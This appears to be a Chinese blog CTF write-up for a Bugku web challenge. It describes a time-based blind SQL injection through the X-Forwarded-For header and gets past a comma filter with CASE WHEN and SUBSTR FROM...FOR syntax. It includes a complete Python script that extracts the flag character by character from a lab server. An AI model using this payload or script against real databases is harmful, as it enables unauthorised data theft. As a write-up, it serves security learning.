bugku web——INSERT INTO注入

最新推荐文章于 2024-12-15 21:03:30 发布

李昭仪668

最新推荐文章于 2024-12-15 21:03:30 发布

阅读量267

点赞数 1

CC 4.0 BY-SA版权

分类专栏： ctf-writeup

本文链接：https://blog.youkuaiyun.com/xiaoduanDDG/article/details/107991431

ctf-writeup 专栏收录该内容

6 篇文章

订阅专栏

本文探讨了在Bugku Web平台中遇到的INSERT INTO SQL注入问题，由于请求头可能存在SQL注入，并且系统过滤了逗号，作者通过使用CASE WHEN...THEN SLEEP(1) ELSE END语句绕过了逗号过滤，实现了基于时间的盲注。文中还提到了字段和表名均为'flag'的特殊情况，并分享了学习到的remote_addr、x_forwarded_for以及explode()函数的相关知识。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

bugku web——INSERT INTO注入

最爱的代码审计来
初步判断存在sql注入（请求头）
并且过滤了逗号
在这里插入图片描述

抓包试了一下，网页上没有回显点，所以是基于时间的盲注（）

正常时间盲注用这种格式来完成 if(exp1,exp2,exp3)
但是代码中explode()函数已经将逗号过滤掉了
所以采用这种格式：case when exp1 then sleep(1) else end 来绕过逗号的过滤
exp1中字符串截取subtr1(str,1,1)又存在逗号，于是这里用substr (str) from 1 for 1

字段是flag,表名也是flag，至于为什么，网上大佬说是出题人和做题人的默契
写一个脚本：

import requests
url="http://123.206.87.240:8002/web15/"
flag=""
for i in range(1,33):
    for str1 in "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ,_!@#$%^&*.":
        data="11' and (case when (substr((select group_concat(flag) from flag) from " + str(i) + " for 1 )='" + str1 + "') then sleep(4) else 1 end )) #"
        # print data
        headers = {"x-forwarded-for":data}
        try:
            result = requests.get(url,headers=headers,timeout=3)
        except requests.exceptions.ReadTimeout as e:
            flag += str1
            print (flag)
            break
print( 'flag:' + flag)